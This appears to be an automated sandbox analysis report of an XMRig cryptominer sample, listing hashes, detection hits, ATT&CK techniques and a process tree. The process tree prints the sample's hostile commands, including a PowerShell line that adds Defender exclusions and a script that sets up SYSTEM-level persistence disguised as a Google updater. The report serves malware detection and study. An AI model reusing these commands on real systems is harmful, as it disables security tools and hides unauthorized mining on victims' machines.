xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
397s
max time network
1802s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3048 created 1272	3048	3JynzWc6LxNCT2y8.exe	7
PID 3048 created 1272	3048	3JynzWc6LxNCT2y8.exe	7
PID 3048 created 1272	3048	3JynzWc6LxNCT2y8.exe	7
PID 3048 created 1272	3048	3JynzWc6LxNCT2y8.exe	7
PID 2912 created 1272	2912	updater.exe	7
PID 2912 created 1272	2912	updater.exe	7
PID 2912 created 1272	2912	updater.exe	7
PID 2912 created 1272	2912	updater.exe	7
PID 2192 created 1272	2192	conhost.exe	7
PID 2912 created 1272	2912	updater.exe	7

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral1/memory/1704-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1704-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
1616	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2912	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1716	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1704-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1704-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2912 set thread context of 2192	2912	updater.exe	49
PID 2912 set thread context of 1704	2912	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	3JynzWc6LxNCT2y8.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2784	schtasks.exe
2716	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2012	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c06b9f1e2f51da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
3048	3JynzWc6LxNCT2y8.exe
3048	3JynzWc6LxNCT2y8.exe
2996	powershell.exe
3048	3JynzWc6LxNCT2y8.exe
3048	3JynzWc6LxNCT2y8.exe
3012	powershell.exe
3048	3JynzWc6LxNCT2y8.exe
3048	3JynzWc6LxNCT2y8.exe
3048	3JynzWc6LxNCT2y8.exe
3048	3JynzWc6LxNCT2y8.exe
2648	powershell.exe
2912	updater.exe
2912	updater.exe
1384	powershell.exe
2912	updater.exe
2912	updater.exe
580	powershell.exe
2912	updater.exe
2912	updater.exe
2912	updater.exe
2912	updater.exe
2192	conhost.exe
2192	conhost.exe
2912	updater.exe
2912	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	580	powershell.exe
Token: SeDebugPrivilege	2912	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2012	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2012	WMIC.exe
Token: SeSecurityPrivilege	2012	WMIC.exe
Token: SeTakeOwnershipPrivilege	2012	WMIC.exe
Token: SeLoadDriverPrivilege	2012	WMIC.exe
Token: SeSystemtimePrivilege	2012	WMIC.exe
Token: SeBackupPrivilege	2012	WMIC.exe
Token: SeRestorePrivilege	2012	WMIC.exe
Token: SeShutdownPrivilege	2012	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2012	WMIC.exe
Token: SeUndockPrivilege	2012	WMIC.exe
Token: SeManageVolumePrivilege	2012	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2012	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2012	WMIC.exe
Token: SeSecurityPrivilege	2012	WMIC.exe
Token: SeTakeOwnershipPrivilege	2012	WMIC.exe
Token: SeLoadDriverPrivilege	2012	WMIC.exe
Token: SeSystemtimePrivilege	2012	WMIC.exe
Token: SeBackupPrivilege	2012	WMIC.exe
Token: SeRestorePrivilege	2012	WMIC.exe
Token: SeShutdownPrivilege	2012	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2012	WMIC.exe
Token: SeUndockPrivilege	2012	WMIC.exe
Token: SeManageVolumePrivilege	2012	WMIC.exe
Token: SeLockMemoryPrivilege	1704	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3012 wrote to memory of 2784	3012	powershell.exe	32
PID 3012 wrote to memory of 2784	3012	powershell.exe	32
PID 3012 wrote to memory of 2784	3012	powershell.exe	32
PID 1616 wrote to memory of 2052	1616	cmd.exe	37
PID 1616 wrote to memory of 2052	1616	cmd.exe	37
PID 1616 wrote to memory of 2052	1616	cmd.exe	37
PID 2648 wrote to memory of 2520	2648	powershell.exe	38
PID 2648 wrote to memory of 2520	2648	powershell.exe	38
PID 2648 wrote to memory of 2520	2648	powershell.exe	38
PID 1716 wrote to memory of 2912	1716	taskeng.exe	40
PID 1716 wrote to memory of 2912	1716	taskeng.exe	40
PID 1716 wrote to memory of 2912	1716	taskeng.exe	40
PID 580 wrote to memory of 2716	580	powershell.exe	47
PID 580 wrote to memory of 2716	580	powershell.exe	47
PID 580 wrote to memory of 2716	580	powershell.exe	47
PID 2912 wrote to memory of 2192	2912	updater.exe	49
PID 1060 wrote to memory of 2012	1060	cmd.exe	53
PID 1060 wrote to memory of 2012	1060	cmd.exe	53
PID 1060 wrote to memory of 2012	1060	cmd.exe	53
PID 2912 wrote to memory of 1704	2912	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3048

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2520
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:580
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2716
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1060
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2012
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2192
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1520
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1704

C:\Windows\system32\taskeng.exe
taskeng.exe {7BCAAB49-7973-4059-A80A-2252D933D311} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
150KB

MD5
7da3dd1a1d4033824778703a9b393925

SHA1
126d81187b177a8f9dc4d8324db5152dbbb484a7

SHA256
580b91c52eb601c23b6bf12f52926b526a121714d2da170775dfe71afc2e6693

SHA512
02db180f65b99473d7f9e6f1f28e4377d8634913ab113bfb12468272f08e896ae3dc2e80c233aa6a831e50b51f73a4c8cd4526ac0d429982a75a98fab9a71cfd

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8b1e2e07cb879699576c34e7d89a5ee2

SHA1
b8367a9a024fcd24bfc02e3a23e25d32d95f4f89

SHA256
13de8883d831e2a008e9d813e39eff66db36b63c9c8b4e0bc7eefcfa3757c9d4

SHA512
cfd370c4e4c1fc5f9aad170c5a538a6a585e00bbf8dfb40fa84de820b2ec91de095161822e941df996c670653991258c7d7652226939405bc0689bb4f414ee5e

Download Submit
memory/580-53-0x0000000001170000-0x00000000011F0000-memory.dmp

Filesize
512KB

Download
memory/580-55-0x0000000001170000-0x00000000011F0000-memory.dmp

Filesize
512KB

Download
memory/580-54-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/580-56-0x0000000001170000-0x00000000011F0000-memory.dmp

Filesize
512KB

Download
memory/580-57-0x0000000001170000-0x00000000011F0000-memory.dmp

Filesize
512KB

Download
memory/580-52-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/580-58-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/1384-51-0x000007FEF4B50000-0x000007FEF54ED000-memory.dmp

Filesize
9.6MB

Download
memory/1384-50-0x00000000010A0000-0x0000000001120000-memory.dmp

Filesize
512KB

Download
memory/1384-49-0x00000000010A0000-0x0000000001120000-memory.dmp

Filesize
512KB

Download
memory/1384-48-0x000007FEF4B50000-0x000007FEF54ED000-memory.dmp

Filesize
9.6MB

Download
memory/1384-47-0x00000000010A0000-0x0000000001120000-memory.dmp

Filesize
512KB

Download
memory/1384-46-0x000007FEF4B50000-0x000007FEF54ED000-memory.dmp

Filesize
9.6MB

Download
memory/1704-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-78-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/1704-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-77-0x00000000002B0000-0x00000000002D0000-memory.dmp

Filesize
128KB

Download
memory/1704-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/1704-69-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/1704-68-0x00000000002B0000-0x00000000002D0000-memory.dmp

Filesize
128KB

Download
memory/1704-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1704-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2192-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2192-74-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2648-36-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/2648-41-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/2648-40-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/2648-38-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/2648-39-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/2648-35-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/2648-37-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/2912-65-0x000000013FD80000-0x000000013FF91000-memory.dmp

Filesize
2.1MB

Download
memory/2912-45-0x000000013FD80000-0x000000013FF91000-memory.dmp

Filesize
2.1MB

Download
memory/2996-6-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download
memory/2996-12-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/2996-11-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
